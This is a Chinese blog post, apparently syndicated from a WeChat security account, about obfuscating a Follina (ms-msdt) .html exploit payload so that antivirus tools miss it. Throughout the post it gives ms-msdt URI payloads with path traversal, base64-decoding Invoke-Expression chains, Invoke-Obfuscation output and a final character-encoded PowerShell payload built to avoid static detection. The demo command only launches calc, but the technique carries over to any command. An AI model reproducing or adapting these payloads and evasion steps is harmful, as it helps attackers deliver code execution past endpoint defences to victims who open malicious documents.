前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Follina .html文件"免杀"

Follina .html文件"免杀"

作者头像
Elapse
发布2022-09-01 15:29:58
8000
发布2022-09-01 15:29:58
举报
文章被收录于专栏:E条咸鱼

前言

第一次尝试手动过杀软,成功与否全看运气,没有任何技术含量,仅做记录,标题带双引号是因为word并没有过静态的查杀

正文

在原始的样本中,是通过ms-msdt调用后,执行powershell

代码语言:javascript
复制
ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h<powershel_payload>i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO

在一键生成word的脚本follina.py中,生成的payload是这样的

代码语言:javascript
复制
ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=<powershell_payload>i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"

通过对比上下两条,发现原始的样本中,删除执行的powershell后没查杀,而一键生成的则还是会被查

于是将payload中的IT_RebrowseForFile改为cal?c,发现并未查杀。

代码语言:javascript
复制
ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_BrowseForFile=<powershell_payload>i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"

接下来尝试绕过powershell的内容

原始的和自动生成的在这里基本一致,所以拿一个举例

代码语言:javascript
复制
$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]+[char]+'Unicode.GetString([System.Convert]'+[char]+[char]+'FromBase64String('+[char]+'YwBhAGwAYwA='+[char]+'))'))))

这一段是上面中<powershell_payload>部分的内容。

解析一下,Invoke-Expression()会将括号内的字符串当作powershell执行

先看第二个Invoke-Expression()中的内容

代码语言:javascript
复制
'[System.Text.Encoding]'+[char]+[char]+'Unicode.GetString([System.Convert]'+[char]+[char]+'FromBase64String('+[char]+'YwBhAGwAYwA='+[char]+'))'

这一段等价于

代码语言:javascript
复制
[System.Text.Encoding]::Unicode.GetString([System.Covert]::FromBase64String("YwBhAGwAYwA"))

他的作用是,将YwBhAGwAYwA这串base64转成字符串,也就是calc,打开计算器的命令,但是上面的内容只是一串字符串而已,并不会执行,所以他是需要放在Invoke-Expression()中,我们放到powershell中运行,可以看到结果

执行后的结果为,calc

但是到这一步也只是把base64解码了而已,要想继续执行,则需要在外面继续套一层Invoke-Expression(),这样解码出来的calc才会当作命令执行。

先看看两个Invoke-Expression存在的时候会不会被杀,并不会

本人不会powershell,所以用Invoke-Obfuscationcalc命令进行混淆了一下,生成出来的命令如下:

代码语言:javascript
复制
 -jOin( '63-61{6c-63'.sPliT('TSNL{-gw') | foREach-oBjeCT { ([ChAr]( [ConVErT]::toinT16( ($_.ToSTrIng()),16) ))})|InvOkE-eXprESsIoN

这一段的结果就是calc

代码语言:javascript
复制
-jOin( '63-61{6c-63'.sPliT('TSNL{-gw') | foREach-oBjeCT { ([ChAr]( [ConVErT]::toinT16( ($_.ToSTrIng()),16) ))})

得到calc后,通过|传到Invoke-Expression中执行

我们已经有执行的内容了,所以可以不需要管道符后面的内容,删除空格后,得到

代码语言:javascript
复制
-jOin('63-61{6c-63'.sPliT('TSNL{-gw')|foREach-oBjeCT{([ChAr]([ConVErT]::toinT16(($_.ToSTrIng()),16)))})

这样可以执行,但是放到.html中的不能这样,原始的payload中的符号都是经过+[char]58+这种方式处理的,这是Ascii编码,如果'.{"等符号出现在.html中的时候好像就会一直在检测问题

所以我们把payload都改为ascii的字符,就得到了

代码语言:javascript
复制
$(Invoke-Expression($(Invoke-Expression('-jOin('+[char]39+'63'+[char]45+'61'+[char]123+'6c'+[char]45+'63'+[char]39+[char]46+'sPliT('+[char]39+'TSNL'+[char]123+[char]45+'gw'+[char]39+')'+[char]124+'foREach'+[char]45+'oBjeCT'+[char]123+'([ChAr]([ConVErT]'+[char]58+[char]58+'toinT16(('+[char]36+[char]95+[char]46+'ToSTrIng())'+[char]44+'16)))'+[char]125+')'))))

尝试执行

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-06-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 E条咸鱼 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 正文
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档